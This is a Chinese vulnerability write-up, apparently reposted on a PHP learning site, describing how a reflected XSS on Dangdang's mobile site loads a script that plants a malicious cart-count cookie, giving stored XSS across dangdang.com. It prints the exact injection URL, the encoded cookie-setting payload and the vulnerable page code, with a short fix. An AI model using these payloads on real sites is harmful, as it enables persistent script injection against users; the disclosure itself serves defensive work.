来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 1.二级甚至三级域下的反射XSS是不是很鸡肋?2.只能XX自己的XSS是不是更鸡肋?(如更改user-agent可弹框这种,你懂的)1+2=所有域下存储XSS.只是为了好玩~~详细说明:1.登录当当后,页面顶部的...
1.二级甚至三级域下的反射XSS是不是很鸡肋?
2.只能XX自己的XSS是不是更鸡肋?(如更改user-agent可弹框这种,你懂的)
1+2=所有域下存储XSS.
只是为了好玩~~
详细说明:1.登录当当后,页面顶部的用户昵称、购物车数量等是js从COOKIE中读出来加载的,伪造COOKIE即可形成存储型XSS(几乎所有域下,即使用户不登录或退出,都不影响COOKIE里购物车数量,本例XSS有效至2020年,看官按口味可自行调整).
2.找到手机当当下一处反射XSS,加载更改COOKIE中购物车数量的js代码。
http://m.dangdang.com/touch/leavemsg.php?sid=3d41%22%3E%3Cscript%20src=http://localhost/test/dd.js%3E%3C/script%3E%3C%22
dd.js代码:
document.cookie = "cart_items_count=%u003c%u0069%u006d%u0067%u0020%u0073%u0072%u0063%u003d%u0031%u0020%u006f%u006e%u0065%u0072%u0072%u006f%u0072%u003d%u0061%u006c%u0065%u0072%u0074%u0028%u0031%u0029%u003e;Domain=dangdang.com;Path=/;expires="+new Date().toGMTString().replace('2013','2020');
location.href="http://www.dangdang.com";
当当解析COOKIE的js部分:
http://www.dangdang.com/Found/pagetop_2012.js
if(usernick==""){
xinshou = "<a name=\"dl\" href=\"java"+"scr"+"ipt:PageTopLogIn();\" target=\"_self\" class=\"login_link\">登录</a><a name=\"zc\" href=\"java"+"scr"+"ipt:PageTopRegist();\" target=\"_self\" class=\"login_link\">免费注册</a>";
}else{
chakanlk = " [<a name=\"tc\" href=\"java"+"scr"+"ipt:PageTopSignOut();\" target=\"_self\">退出登录</a>]";
xinshou = "";
var cartItemsCount=getCookie_one("cart_items_count","");
if(cartItemsCount!=null&&cartItemsCount.length>0&&cartItemsCount!="undefined")
{
var cic=document.getElementById("cart_items_count");
if(cic!=''){
cic.innerHTML="("+cartItemsCount+")"; //这位置,读出COOKIE里的值直接输出在了页面上,造成XSS
}
}
}
视频带感~~ 密码: ddxss
修复方案:
cic.innerHTML="("+cartItemsCount+")"; 及其它相关位置再次过滤,或不从COOKIE里读取 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com